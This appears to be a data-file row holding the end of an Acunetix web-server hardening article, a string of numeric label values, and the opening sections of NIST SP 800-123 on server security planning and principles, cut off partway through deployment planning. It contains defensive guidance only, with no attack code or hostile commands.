Monitor and audit the server All the logs present in a web server, should ideally be stored in a segregated area. All network services logs, website access logs, database server logs (e.g. Microsoft SQL Server, MySQL, Oracle) and operating system logs should be monitored and checked frequently. One should always be on the lookout for strange log entries. Log files tend to give all the information about an attempt of an attack, and even of a successful attack, but most of the times these are ignored. If one notices strange activity from the logs, this should immediately be escalated so the issue can be investigated to see what is happening. 8. User accounts Unused default user accounts created during an operating system install should be disabled. There is also a long list of software that when installed, user accounts are created on the operating system. Such accounts should also be checked properly and permissions need to be changed required. The built in administrator account should be renamed and is not to be used, same for the root user on a linux / unix installation. Every administrator accessing the web server should have his own user account, with the correct privileges needed. It is also a good security practice not to share each others\xe2\x80\x99 user accounts. 9. Remove all unused modules and application extensions A default Apache installation has a number of pre-defined modules enabled, which in a typical web server scenario are not used, unless they are specifically needed. Turn off such modules to prevent targeted attacks against such modules. The same applies for Microsoft\xe2\x80\x99s web server; Internet Information Services. By default, IIS is configured to serve a large number of application types, e.g. ASP, ASP.NET and more. The list of application extensions should only contain a list of extensions the website or web application will be using. Every application extension should also be restricted to use specific HTTP verbs only, where possible. 10. Use security tools provided with web server software Microsoft released a number of tools to help administrators secure IIS web server installations, such as URL scan. There is also a module called mod_security for Apache. Although configuring such tools is a tedious process and can be time consuming, especially with custom web applications, they do add an extra bit of security and piece of mind. 11. Stay informed Nowadays, information and tips on the software and operating system being used can be found freely on the internet. It is very important to stay informed and learn about new attacks and tools, by reading security related magazines and subscribing to newsletters, forums or any other type of community. 12. Use Scanners Scanners are handy tools that help you automate and ease the process of securing a web server and web applications. Acunetix Web Vulnerability Scanner is also shipped with a port scanner, which when enabled will port scan the web server hosting the web application being scanned. Similar to a network security scanner, Acunetix WVS will launch a number of advanced security checks against the open ports and network services running on your web server. Acunetix Web Vulnerability scanner ensures website and web server security by checking for SQL Injection, Cross site scripting, web server configuration problems and other vulnerabilities. It checks password strength on authentication pages and automatically audits shopping carts, forms, dynamic Web 2.0 content and other web applications. As the scan is completed, the software produces detailed reports that pinpoint where vulnerabilities exist. Subscribe for Updates Learn More IIS Security Apache Troubleshooting Security Scanner DAST vs SAST Threats, Vulnerabilities, & Risks Vulnerability vs Pen Testing Server Security Google Hacking Blog Categories Articles Web Security Zone Docs & FAQs News Releases Events Find Us on Facebook Product Information AcuSensor Technology AcuMonitor Technology Network Security Scanner Acunetix Integrations JavaScript Security Use Cases Penetration Testing Software Website Security Scanner External Vulnerability Scanner Web Application Security Vulnerability Management Software Website Security Cross-site Scripting SQL Injection Reflected XSS CSRF Attacks Directory Traversal Learn More TLS Security WordPress Security Acunetix Alternatives Web Service Security Prevent SQL Injection Company About Us Customers Become a Partner Jobs Contact Documentation Case Studies Support Videos Web Vulnerabilities Webinars Whitepapers \xc2\xa9 Acunetix, 2019 Acunetix Online Login Privacy Policy Terms and Conditions Sitemap Find us on Facebook Follow us on Twiter Follow us on LinkedIn","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Guide to general server security Special Publication 800-123 Guide to General Server Security Recommendations of the National Institute of Standards and Technology Karen Scarfone Wayne Jansen Miles Tracy Guide to General Server Security Recommendations of the National Institute of Standards and Technology Karen Scarfone Wayne Jansen Miles Tracy NIST Special Publication 800-123 C O M P U T E R S E C U R I T Y Computer Security Division Information Technology Laboratory National Institute of Standards and Technology Gaithersburg, MD 20899-8930 July 2008 U.S. Department of Commerce Carlos M. Gutierrez, Secretary National Institute of Standards and Technology James M. Turner, Deputy Director GUIDE TO GENERAL SERVER SECURITY Reports on Computer Systems Technology The Information Technology Laboratory (ITL) at the National Institute of Standards and Technology (NIST) promotes the U.S. economy and public welfare by providing technical leadership for the nation\xe2\x80\x99s measurement and standards infrastructure. ITL develops tests, test methods, reference data, proof of concept implementations, and technical analysis to advance the development and productive use of information technology. ITL\xe2\x80\x99s responsibilities include the development of technical, physical, administrative, and management standards and guidelines for the cost-effective security and privacy of sensitive unclassified information in Federal computer systems. This Special Publication 800-series reports on ITL\xe2\x80\x99s research, guidance, and outreach efforts in computer security and its collaborative activities with industry, government, and academic organizations. Certain commercial entities, equipment, or materials may be identified in this document in order to describe an experimental procedure or concept adequately. Such identification is not intended to imply recommendation or endorsement by the National Institute of Standards and Technology, nor is it intended to imply that the entities, materials, or equipment are necessarily the best available for the purpose. National Institute of Standards and Technology Special Publication 800-123 Natl. Inst. Stand. Technol. Spec. Publ. 800-123, 53 pages (Jul. 2008) ii GUIDE TO GENERAL SERVER SECURITY Acknowledgements The authors, Karen Scarfone and Wayne Jansen of the National Institute of Standards and Technology (NIST) and Miles Tracy of Federal Reserve Information Technology, wish to thank their colleagues who reviewed drafts of this document and contributed to its technical content. The authors would like to acknowledge Murugiah Souppaya, Tim Grance, and Jim St. Pierre of NIST, Robert Dutton of Booz Allen Hamilton, and Kurt Dillard for their keen and insightful assistance throughout the development of the document. Special thanks also go to the security experts that provided feedback during the public comment period, particularly Dean Farrington (Wells Fargo), Joseph Klein (Command Information), Dr. Daniel Woodard (The Bionetics Corporation), and representatives from the Federal Aviation Administration. Much of the content of this publication was derived from NIST Special Publication 800-44 Version 2, Guidelines on Securing Public Web Servers, by Miles Tracy, Wayne Jansen, Karen Scarfone, and Theodore Winograd, and NIST Special Publication 800-45 Version 2, Guidelines on Electronic Mail Security, by Miles Tracy, Wayne Jansen, Karen Scarfone, and Jason Butterfield. iii GUIDE TO GENERAL SERVER SECURITY Table of Contents Executive Summary..............................................................................................................ES-1 1. Introduction ......................................................................................................................1-1 1.1 Authority...................................................................................................................1-1 1.2 Purpose and Scope .................................................................................................1-1 1.3 Audience ..................................................................................................................1-2 1.4 Document Structure .................................................................................................1-2 2. Background ......................................................................................................................2-1 2.1 Server Vulnerabilities, Threats, and Environments..................................................2-1 2.2 Security Categorization of Information and Information Systems ............................2-2 2.3 Basic Server Security Steps ....................................................................................2-3 2.4 Server Security Principles........................................................................................2-4 3. Server Security Planning.................................................................................................3-1 3.1 Installation and Deployment Planning......................................................................3-1 3.2 Security Management Staff......................................................................................3-3 3.2.1 Chief Information Officer...............................................................................3-4 3.2.2 Information Systems Security Program Managers .......................................3-4 3.2.3 Information Systems Security Officers .........................................................3-4 3.2.4 Server, Network, and Security Administrators..............................................3-5 3.3 Management Practices ............................................................................................3-5 3.4 System Security Plan...............................................................................................3-6 3.5 Human Resources Requirements............................................................................3-7 4. Securing the Server Operating System .........................................................................4-1 4.1 Patch and Upgrade Operating System ....................................................................4-1 4.2 Hardening and Securely Configuring the OS...........................................................4-2 4.2.1 Remove or Disable Unnecessary Services, Applications, and Network Protocols ..................................................................................................................4-2 4.2.2 Configure OS User Authentication ...............................................................4-4 4.2.3 Configure Resource Controls Appropriately .................................................4-6 4.3 Install and Configure Additional Security Controls...................................................4-6 4.4 Security Testing the Operating System ...................................................................4-7 5. Securing the Server Software .........................................................................................5-1 5.1 Securely Installing the Server Software ...................................................................5-1 5.2 Configuring Access Controls....................................................................................5-2 5.3 Server Resource Constraints...................................................................................5-3 5.4 Selecting and Implementing Authentication and Encryption Technologies .............5-4 6. Maintaining the Security of the Server...........................................................................6-1 6.1 Logging ....................................................................................................................6-1 6.1.1 Identifying Logging Capabilities and Requirements .....................................6-1 6.1.2 Reviewing and Retaining Log Files ..............................................................6-2 6.1.3 Automated Log File Analysis Tools ..............................................................6-3 6.2 Server Backup Procedures ......................................................................................6-4 6.2.1 Server Data Backup Policies ........................................................................6-4 iv GUIDE TO GENERAL SERVER SECURITY 6.2.2 Server Backup Types ...................................................................................6-5 6.2.3 Maintain a Test Server .................................................................................6-6 6.3 Recovering From a Security Compromise ...............................................................6-6 6.4 Security Testing Servers..........................................................................................6-8 6.4.1 Vulnerability Scanning ..................................................................................6-9 6.4.2 Penetration Testing ....................................................................................6-10 6.5 Remotely Administering a Server ..........................................................................6-11 Appendices Appendix A\xe2\x80\x94 Glossary .......................................................................................................... A-1 Appendix B\xe2\x80\x94 Acronyms and Abbreviations ....................................................................... B-1 Appendix C\xe2\x80\x94 Resources ....................................................................................................... C-1 v GUIDE TO GENERAL SERVER SECURITY Executive Summary An organization\xe2\x80\x99s servers provide a wide variety of services to internal and external users, and many servers also store or process sensitive information for the organization. Some of the most common types of servers are Web, email, database, infrastructure management, and file servers. This publication addresses the general security issues of typical servers. Servers are frequently targeted by attackers because of the value of their data and services. For example, a server might contain personally identifiable information that could be used to perform identity theft. The following are examples of common security threats to servers: Malicious entities may exploit software bugs in the server or its underlying operating system to gain unauthorized access to the server. Denial of service (DoS) attacks may be directed to the server or its supporting network infrastructure, denying or hindering valid users from making use of its services. Sensitive information on the server may be read by unauthorized individuals or changed in an unauthorized manner. Sensitive information transmitted unencrypted or weakly encrypted between the server and the client may be intercepted. Malicious entities may gain unauthorized access to resources elsewhere in the organization\xe2\x80\x99s network via a successful attack on the server. Malicious entities may attack other entities after compromising a server. These attacks can be launched directly (e.g., from the compromised host against an external server) or indirectly (e.g., placing malicious content on the compromised server that attempts to exploit vulnerabilities in the clients of users accessing the server). This document is intended to assist organizations in installing, configuring, and maintaining secure servers. More specifically, this document describes, in detail, the following practices to apply: Securing, installing, and configuring the underlying operating system Securing, installing, and configuring server software Maintaining the secure configuration through application of appropriate patches and upgrades, security testing, monitoring of logs, and backups of data and operating system files. The following key guidelines are recommended to Federal departments and agencies for maintaining a secure server. Organizations should carefully plan and address the security aspects of the deployment of a server. Because it is much more difficult to address security once deployment and implementation have occurred, security should be carefully considered from the initial planning stage. Organizations are more likely to make decisions about configuring computers appropriately and consistently when they develop and use a detailed, well-designed deployment plan. Developing such a plan will support server administrators in making the inevitable tradeoff decisions between usability, performance, and risk. ES-1 GUIDE TO GENERAL SERVER SECURITY Organizations often fail to consider the human resource requirements for both deployment and operational phases of the server and supporting infrastructure. Organizations should address the following points in a deployment plan: Types of personnel required (e.g., system and server administrators, network administrators, information systems security officers [ISSO]) Skills and training required by assigned personnel Individual (i.e., level of effort required of specific personnel types) and collective staffing (i.e., overall level of effort) requirements. Organizations should implement appropriate security management practices and controls when maintaining and operating a secure server. Appropriate management practices are essential to operating and maintaining a secure server. Security practices entail the identification of an organization\xe2\x80\x99s information system assets and the development, documentation, and implementation of policies, standards, procedures, and guidelines that help to ensure the confidentiality, integrity, and availability of information system resources. To ensure the security of a server and the supporting network infrastructure, the following practices should be implemented: Organization-wide information system security policy Configuration/change control and management Risk assessment and management Standardized software configurations that satisfy the information system security policy Security awareness and training Contingency planning, continuity of operations, and disaster recovery planning Certification and accreditation. Organizations should ensure that the server operating system is deployed, configured, and managed to meet the security requirements of the organization. The first step in securing a server is securing the underlying operating system. Most commonly available servers operate on a general-purpose operating system. Many security issues can be avoided if the operating systems underlying servers are configured appropriately. Default hardware and software configurations are typically set by manufacturers to emphasize features, functions, and ease of use, at the expense of security. Because manufacturers are not aware of each organization\xe2\x80\x99s security needs, each server administrator must configure new servers to reflect their organization\xe2\x80\x99s security requirements and reconfigure them as those requirements change. Using security configuration guides or checklists can assist administrators in securing servers consistently and efficiently. Securing an operating system initially would generally include the following steps: Patch and upgrade the operating system Remove or disable unnecessary services, applications, and network protocols Configure operating system user authentication ES-2 GUIDE TO GENERAL SERVER SECURITY Configure resource controls Install and configure additional security controls, if needed Perform security testing of the operating system. Organizations should ensure that the server application is deployed, configured, and managed to meet the security requirements of the organization. In many respects, the secure installation and configuration of the server application will mirror the operating system process discussed above. The overarching principle is to install the minimal amount of services required and eliminate any known vulnerabilities through patches or upgrades. If the installation program installs any unnecessary applications, services, or scripts, they should be removed immediately after the installation process concludes. Securing the server application would generally include the following steps: Patch and upgrade the server application Remove or disable unnecessary services, applications, and sample content Configure server user authentication and access controls Configure server resource controls Test the security of the server application (and server content, if applicable). Many servers also use authentication and encryption technologies to restrict who can access the server and to protect information transmitted between the server and its clients. Organizations should periodically examine the services and information accessible on the server and determine the necessary security requirements. Organizations should also be prepared to migrate their servers to stronger cryptographic technologies as weaknesses are identified in the servers\xe2\x80\x99 existing cryptographic technologies. For example, NIST has recommended that use of the Secure Hash Algorithm 1 (SHA-1) be phased out by 2010 in favor of SHA-224, SHA-256, and other larger, stronger hash functions. Organizations should stay aware of cryptographic requirements and plan to update their servers accordingly. Organizations should commit to the ongoing process of maintaining the security of servers to ensure continued security. Maintaining a secure server requires constant effort, resources, and vigilance from an organization. Securely administering a server on a daily basis is an essential aspect of server security. Maintaining the security of a server will usually involve the following actions: Configuring, protecting, and analyzing log files on an ongoing and frequent basis Backing up critical information frequently Establishing and following procedures for recovering from compromise Testing and applying patches in a timely manner Testing security periodically. ES-3 GUIDE TO GENERAL SERVER SECURITY 1. Introduction 1.1 Authority The National Institute of Standards and Technology (NIST) developed this document in furtherance of its statutory responsibilities under the Federal Information Security Management Act (FISMA) of 2002, Public Law 107-347. NIST is responsible for developing standards and guidelines, including minimum requirements, for providing adequate information security for all agency operations and assets; but such standards and guidelines shall not apply to national security systems. This guideline is consistent with the requirements of the Office of Management and Budget (OMB) Circular A-130, Section 8b(3), \xe2\x80\x9cSecuring Agency Information Systems,\xe2\x80\x9d as analyzed in A-130, Appendix IV: Analysis of Key Sections. Supplemental information is provided in A-130, Appendix III. This guideline has been prepared for use by Federal agencies. It may be used by nongovernmental organizations on a voluntary basis and is not subject to copyright, though attribution is desired. Nothing in this document should be taken to contradict standards and guidelines made mandatory and binding on Federal agencies by the Secretary of Commerce under statutory authority, nor should these guidelines be interpreted as altering or superseding the existing authorities of the Secretary of Commerce, Director of the OMB, or any other Federal official. 1.2 Purpose and Scope The purpose of this document is to assist organizations in understanding the fundamental activities performed as part of securing and maintaining the security of servers that provide services over network communications as a main function. Hosts that incidentally provide one or a few services for maintenance or accessibility purposes, such as a remote access service for remote troubleshooting, are not considered servers in this document. The types of servers this publication addresses include outward- facing publicly accessible servers, such as web and email services, and a wide range of inward-facing servers. This document discusses the need to secure servers and provides recommendations for selecting, implementing, and maintaining the necessary security controls. This document addresses common servers that use general operating systems (OS) such as Unix, Linux, and Windows. Many of the recommendations in this document may also be applicable to servers that use specialized OSs or run on proprietary appliances, but other recommendations will not be implementable or may have unintended consequences, so such servers are considered outside the scope of this document. Other types of servers outside the scope of this document are virtual servers and highly specialized servers, particularly security infrastructure devices (e.g., firewalls, intrusion detection systems), which have unusual configurations and security needs. Other NIST documents, such as Special Publication (SP) 800-45 Version 2, Guidelines on Electronic Mail Security and SP 800-44 Version 2, Guidelines on Securing Public Web Servers, provide recommendations for particular types of servers. The recommendations in this document are intended as a foundation for other server-related documents and do not override more specific recommendations made in such documents. 1-1 GUIDE TO GENERAL SERVER SECURITY 1.3 Audience This document has been created primarily for system administrators and security administrators who are responsible for the technical aspects of securing servers. The material in this document is technically oriented, and it is assumed that readers have at least a basic understanding of system and network security. 1.4 Document Structure The remainder of this document is organized into the following major sections: Section 2 provides background information about servers and presents an overview of server security concerns. It also introduces the high-level steps for securing a server. Section 3 discusses the security planning and management for servers. Section 4 presents an overview of securing a server\xe2\x80\x99s operating system. Section 5 discusses the actions needed to securely install and configure server software, such as Web server software and email server software. Section 6 provides recommendations for maintaining the security of a server. The document also contains appendices with supporting material: Appendix A contains a glossary. Appendix B contains a list of acronyms and abbreviations. Appendix C lists print and online resources that may be helpful for understanding general server security. 1-2 GUIDE TO GENERAL SERVER SECURITY 2. Background A server is a host that provides one or more services for other hosts over a network as a primary function.1 For example, a file server provides file sharing services so that users can access, modify, store, and delete files. Another example is a database server that provides database services for Web applications on Web servers. The Web servers, in turn, provide Web content services to users\xe2\x80\x99 Web browsers. There are many other types of servers, such as application, authentication, directory services, email, infrastructure management, logging, name/address resolution services (e.g., Domain Name Server [DNS]), print, and remote access. This section provides background information on server security. It first discusses common server vulnerabilities and threats, and places them in the context of the types of environments in which servers are deployed. Next, it explains how the security needs of a server can be categorized so that the appropriate security controls can be determined. The section also gives an overview of the basic steps that are required to ensure the security of a server and explains fundamental principles of securing servers. 2.1 Server Vulnerabilities, Threats, and Environments To secure a server, it is essential to first define the threats that must be mitigated. Knowledge of potential threats is important to understanding the reasons behind the various baseline technical security practices presented in this document. Many threats against data and resources are possible because of mistakes\xe2\x80\x94 either bugs in operating system and server software that create exploitable vulnerabilities, or errors made by end users and administrators. Threats may involve intentional actors (e.g., attacker who wants to access information on a server) or unintentional actors (e.g., administrator who forgets to disable user accounts of a former employee.) Threats can be local, such as a disgruntled employee, or remote, such as an attacker in another geographical area. Organizations should conduct risk assessments to identify the specific threats against their servers and determine the effectiveness of existing security controls in counteracting the threats; they then should perform risk mitigation to decide what additional measures (if any) should be implemented, as discussed in NIST Special Publication (SP) 800-30, Risk Assessment Guide for Information Technology Systems. Performing risk assessments and mitigation helps organizations better understand their security posture and decide how their servers should be secured. The baseline technical security practices presented in this publication are based on commonly accepted technical security principles and practices, documented in various NIST SPs (including SP 800-14, SP 800-23, and SP 800-53) and other sources such as the Department of Defense (DoD) Information Assurance Technical Framework. In particular, NIST SP 800-27, Engineering Principles for Information Technology Security (A Baseline for Achieving Security), contains a set of engineering principles for system security that provide a foundation upon which a more consistent and structured approach to the design, development, and implementation of IT security capabilities can be constructed. An important element of planning the appropriate security controls for a server is understanding the threats associated with the environment in which the server is deployed.2 The recommendations in this publication are based on the assumption that the servers are in typical enterprise environments and thus face the threats and have the security needs usually associated with such environments. Organizations 1 For the purposes of this document, a host that does not provide services for other hosts as a primary function, but incidentally provides one or a few services for maintenance or accessibility purposes, is not considered a server. An example is a laptop that has a remote access service enabled so that IT support staff can remotely maintain the laptop and perform troubleshooting. 2 Additional information on environments is available from NIST SP 800-70, Security Configuration Checklists Program for IT Products: Guidance for Checklists Users and Developers (http://csrc.nist.gov/publications/PubsSPs.html). 2-1 http://csrc.nist.gov/publications/PubsSPs.html GUIDE TO GENERAL SERVER SECURITY deploying servers in higher-security environments are likely to need to employ more restrictive security controls than the recommendations in this publication. For servers in legacy environments, organizations should secure them as if they were in a typical enterprise environment or a higher-security environment, as appropriate, and make the minimum possible security control alterations to facilitate legacy access. 2.2 Security Categorization of Information and Information Systems The classic model for information security defines three objectives of security: maintaining confidentiality, integrity, and availability. Confidentiality refers to protecting information from being accessed by unauthorized parties. Integrity refers to ensuring the authenticity of information\xe2\x80\x94that information is not altered, and that the source of the information is genuine. Availability means that information is accessible by authorized users. Each objective addresses a different aspect of providing protection for information. Determining how strongly a system needs to be protected is based largely on the type of information that the system processes and stores. For example, a system containing medical records probably needs much stronger protection than a computer only used for viewing publicly released documents. This is not to imply that the second system does not need protection; every system needs to be protected, but the level of protection may vary based on the value of the system and its data. Federal Information Processing Standards (FIPS) Publication (PUB) 199, Standards for Security Categorization of Federal Information and Information System establishes criteria for determining the security category of a system.3 FIPS PUB 199 defines three security categories\xe2\x80\x94low, moderate, and high\xe2\x80\x94based on the potential impact of a security breach involving a particular system: \xe2\x80\x9cThe potential impact is LOW if the loss of confidentiality, integrity, or availability could be expected to have a limited adverse effect on organizational operations, organizational assets, or individuals. A limited adverse effect means that, for example, the loss of confidentiality, integrity, or availability might (i) cause a degradation in mission capability to an extent and duration that the organization is able to perform its primary functions, but the effectiveness of the functions is noticeably reduced; (ii) result in minor damage to organizational assets; (iii) result in minor financial loss; or (iv) result in minor harm to individuals. The potential impact is MODERATE if the loss of confidentiality, integrity, or availability could be expected to have a serious adverse effect on organizational operations, organizational assets, or individuals. A serious adverse effect means that, for example, the loss of confidentiality, integrity, or availability might (i) cause a significant degradation in mission capability to an extent and duration that the organization is able to perform its primary functions, but the effectiveness of the functions is significantly reduced; (ii) result in significant damage to organizational assets; (iii) result in significant financial loss; or (iv) result in significant harm to individuals that does not involve loss of life or serious life threatening injuries. The potential impact is HIGH if the loss of confidentiality, integrity, or availability could be expected to have a severe or catastrophic adverse effect on organizational operations, organizational assets, or individuals. A severe or catastrophic adverse effect means that, for example, the loss of confidentiality, integrity, or availability might (i) cause a severe degradation in or loss of mission capability to an extent and duration that the organization is not able to perform one or more of its primary functions; (ii) result in major damage to organizational assets; (iii) result in major financial loss; or (iv) result in severe or catastrophic harm to individuals involving loss of life or serious life threatening injuries.\xe2\x80\x9d 3 FIPS PUB 199 is available for download from http://csrc.nist.gov/publications/PubsFIPS.html. 2-2 http://csrc.nist.gov/publications/PubsFIPS.html GUIDE TO GENERAL SERVER SECURITY Each system, including all servers that are part of the system, should be protected based on the potential impact to the system of a loss of confidentiality, integrity, or availability. Protection measures (otherwise known as security controls) tend to fall into two categories. First, security weaknesses in the system need to be resolved. For example, if a system has a known vulnerability that attackers could exploit, the system should be patched so that the vulnerability is removed or mitigated. Second, the system should offer only the required functionality to each authorized user, so that no one can use functions that are not necessary. This principle is known as least privilege. Limiting functionality and resolving security weaknesses have a common goal: give attackers as few opportunities as possible to breach a system. A common problem with security controls is that they often make systems less convenient or more difficult to use. When usability is an issue, many users will attempt to circumvent security controls; for example, if passwords must be long and complex, users may write them down. Balancing security, functionality, and usability is often a challenge. This guide attempts to strike a proper balance and make recommendations that provide a reasonably secure solution while offering the functionality and usability that users require. Another fundamental principle endorsed by this guide is using multiple layers of security\xe2\x80\x94defense in depth. For example, a system may be protected from external attack by several controls, including a network-based firewall, a host-based firewall, and OS patching. The motivation for having multiple layers is that if one layer fails or otherwise cannot counteract a certain threat, other layers might prevent the threat from successfully breaching the system. A combination of network-based and host-based controls is generally most effective at providing consistent protection for systems. NIST SP 800-53 Revision 2, Recommended Security Controls for Federal Information Systems, proposes minimum baseline management, operational, and technical security controls for information systems.4 These controls are to be implemented based on the security categorizations proposed by FIPS 199, as described earlier in this section. This guidance should assist agencies in meeting baseline requirements for servers deployed in their environments. 2.3 Basic Server Security Steps A number of steps are required to ensure the security of any server. As a prerequisite for taking any step, however, it is essential that the organization have a security policy in place. Taking the following steps for server security within the context of the organization\xe2\x80\x99s security policy should prove effective: 1. Plan the installation and deployment of the operating system (OS) and other components for the server. Section 3 addresses this step. 2. Install, configure, and secure the underlying OS. This is discussed in Section 4. 3. Install, configure, and secure the server software. Section 5 describes this step. 4. For servers that host content, such as Web servers (Web pages), database servers (databases), and directory servers (directories), ensure that the content is properly secured. This is highly dependent on the type of server and the type of content, so it is outside the scope of this publication to provide recommendations for content security. Readers should consult relevant NIST publications (see Appendix C) and other sources of security recommendations for information on securing server content. 4 NIST SP 800-53 Revision 2, created in response to FISMA, is available at http://csrc.nist.gov/publications/PubsSPs.html. 2-3 http://csrc.nist.gov/publications/PubsSPs.html GUIDE TO GENERAL SERVER SECURITY 5. Employ appropriate network protection mechanisms (e.g., firewall, packet filtering router, and proxy). Choosing the mechanisms for a particular situation depends on several factors, including the location of the server\xe2\x80\x99s clients (e.g., Internet, internal, internal and remote access), the location of the server on the network, the types of services offered by the server, and the types of threats against the server. Accordingly, this publication does not present recommendations for selecting network protection mechanisms. NIST SP 800-41, Guidelines on Firewalls and Firewall Policy and NIST SP 800-94, Guide to Intrusion Detection and Prevention Systems (IDPS), contain additional information on network protection mechanisms. 6. Employ secure administration and maintenance processes, including application of patches and upgrades, monitoring of logs, backups of data and OS, and periodic security testing. This step is described in Section 6. The practices recommended in this document are designed to help mitigate the risks associated with servers. They build on and assume the implementation of practices described in the NIST publications on system and network security listed in Appendix C. 2.4 Server Security Principles When addressing server security issues, it is an excellent idea to keep in mind the following general information security principles:5 Simplicity\xe2\x80\x94Security mechanisms (and information systems in general) should be as simple as possible. Complexity is at the root of many security issues. Fail-Safe\xe2\x80\x94If a failure occurs, the system should fail in a secure manner, i.e., security controls and settings remain in effect and are enforced. It is usually better to lose functionality rather than security. Complete Mediation\xe2\x80\x94Rather than providing direct access to information, mediators that enforce access policy should be employed. Common examples of mediators include file system permissions, proxies, firewalls, and mail gateways. Open Design\xe2\x80\x94System security should not depend on the secrecy of the implementation or its components. Separation of Privilege\xe2\x80\x94Functions, to the degree possible, should be separate and provide as much granularity as possible. The concept can apply to both systems and operators and users. In the case of systems, functions such as read, edit, write, and execute should be separate. In the case of system operators and users, roles should be as separate as possible. For example, if resources allow, the role of system administrator should be separate from that of the database administrator. Least Privilege\xe2\x80\x94This principle dictates that each task, process, or user is granted the minimum rights required to perform its job. By applying this principle consistently, if a task, process, or user is compromised, the scope of damage is constrained to the limited resources available to the compromised entity. 5 Derived from Matt Curtin, Developing Trust: Online Privacy and Security, November 2001 and from Jerome H. Saltzer and Michael Schroeder, \xe2\x80\x9cThe Protection of Information in Computer Systems,\xe2\x80\x9d Proceedings of the IEEE, Vol. 63, pages 1278\xe2\x80\x93 1308 2-4 GUIDE TO GENERAL SERVER SECURITY Psychological Acceptability\xe2\x80\x94Users should understand the necessity of security. This can be provided through training and education. In addition, the security mechanisms in place should present users with sensible options that give them the usability they require on a daily basis. If users find the security mechanisms too cumbersome, they may devise ways to work around or compromise them. The objective is not to weaken security so it is understandable and acceptable, but to train and educate users and to design security mechanisms and policies that are usable and effective. Least Common Mechanism\xe2\x80\x94When providing a feature for the system, it is best to have a single process or service gain some function without granting that same function to other parts of the system. The ability for the Web server process to access a back-end database, for instance, should not also enable other applications on the system to access the back-end database. Defense-in-Depth\xe2\x80\x94Organizations should understand that a single security mechanism is generally insufficient. Security mechanisms (defenses) need to be layered so that compromise of a single security mechanism is insufficient to compromise a host or network. No \xe2\x80\x9csilver bullet\xe2\x80\x9d exists for information system security. Work Factor\xe2\x80\x94Organizations should understand what it would take to break the system or network\xe2\x80\x99s security features. The amount of work necessary for an attacker to break the system or network should exceed the value that the attacker would gain from a successful compromise. Compromise Recording\xe2\x80\x94Records and logs should be maintained so that if a compromise does occur, evidence of the attack is available to the organization. This information can assist in securing the network and host after the compromise and aid in identifying the methods and exploits used by the attacker. This information can be used to better secure the host or network in the future. In addition, these records and logs can assist organizations in identifying and prosecuting attackers. 2-5 GUIDE TO GENERAL SERVER SECURITY 3. Server Security Planning The most critical aspect of deploying a secure server is careful planning before installation, configuration, and deployment. Careful planning will ensure that the server is as secure as possible and in compliance with all relevant organizational policies. Many server security and performance problems can be traced to a lack of planning or management controls. The importance of management controls cannot be overstated. In many organizations, the IT support structure is highly fragmented. This fragmentation leads to inconsistencies, and these inconsistencies can lead to security vulnerabilities and other issues. 3.1 Installation and Deployment Planning Security should be considered from the initial planning stage at the beginning of the systems development life cycle to maximize security and minimize costs. It is much more difficult and expensive to address security after deployment and implementation. Organizations are more likely to make decisions about configuring hosts appropriately and consistently if they begin by developing and using a detailed, well- designed deployment plan. Developing such a plan enables organizations to make informed tradeoff decisions between usability and performance, and risk. A deployment plan allows organizations to maintain secure configurations and aids in identifying security vulnerabilities, which often manifest themselves as deviations from the plan. In the planning stages of a server, the following items should be considered:6 Identify the purpose(s) of the server. \xe2\x80\x93 What information categories will be stored on the server? \xe2\x80\x93 What information categories will be processed on or transmitted through the server? \xe2\x80\x93 What are the security requirements for this information? \xe2\x80\x93 Will any information be retrieved from or stored on another host (e.g., database server, directory server, Web server, Network Attached Storage (NAS) server, Storage Area Network (SAN) server)? \xe2\x80\x93 What are the security requirements for any other hosts involved? \xe2\x80\x93 What other service(s) will be provided by the server (in general, dedicating the host to only one service is the most secure option)? \xe2\x80\x93 What are the security requirements for these additional services? \xe2\x80\x93 What are the requirements for continuity of services provided by the server, such as those specified in continuity of operations plans and disaster recovery plans? \xe2\x80\x93 Where on the network will the server be located? Identify the network services that will be provided on the server, such as Hypertext Transfer Protocol (HTTP), File Transfer Protocol (FTP), Simple Mail Transfer Protocol (SMTP), Network File System 6 Content derived from Julia Allen et al., Securing Network Servers, April 2000, http://www.sei.cmu.edu/pub/documents/sims/pdf/sim010.pdf 3-1 http://www.sei.cmu.edu/pub/documents/sims/pdf/sim010.pdf GUIDE TO GENERAL SERVER SECURITY (NFS), or database services (e.g., Open Database Connectivity [ODBC]). The network protocols to be used for each service (e.g., IPv4, IPv6) should also be identified. Identify any network service software, both client and server, to be installed on the server and any other support servers. Identify the users or categories of users of the server and any support hosts. Determine the privileges that each category of user will have on the server and support hosts. Determine how the server will be managed (e.g., locally, remotely from the internal network, remotely from external networks). Decide if and how users will be authenticated and how authentication data will be protected. Determine how appropriate access to information resources will be enforced. Determine which server applications meet the organization\xe2\x80\x99s requirements. Consider servers that may offer greater security, albeit with less functionality in some instances. Some issues to consider include\xe2\x80\x94 \xe2\x80\x93 Cost \xe2\x80\x93 Compatibility with existing infrastructure \xe2\x80\x93 Knowledge of existing employees \xe2\x80\x93 Existing manufacturer relationship \xe2\x80\x93 Past vulnerability history \xe2\x80\x93 Functionality. Work closely with manufacturer(s) in the planning stage. The choice of server application may determine the choice of OS. However, to the degree possible, server administrators should choose an OS that provides the following:7 Ability to granularly restrict administrative or root level activities to authorized users only Ability to granularly control access to data on the server Ability to disable unnecessary network services that may be built into the OS or server software Ability to control access to various forms of executable programs, such as Common Gateway Interface (CGI) scripts and server plug-ins for Web servers, if applicable Ability to log appropriate server activities to detect intrusions and attempted intrusions 7 Content derived from Julia Allen et al., Securing Network Servers, April 2000, http://www.sei.cmu.edu/pub/documents/sims/pdf/sim010.pdf 3-2 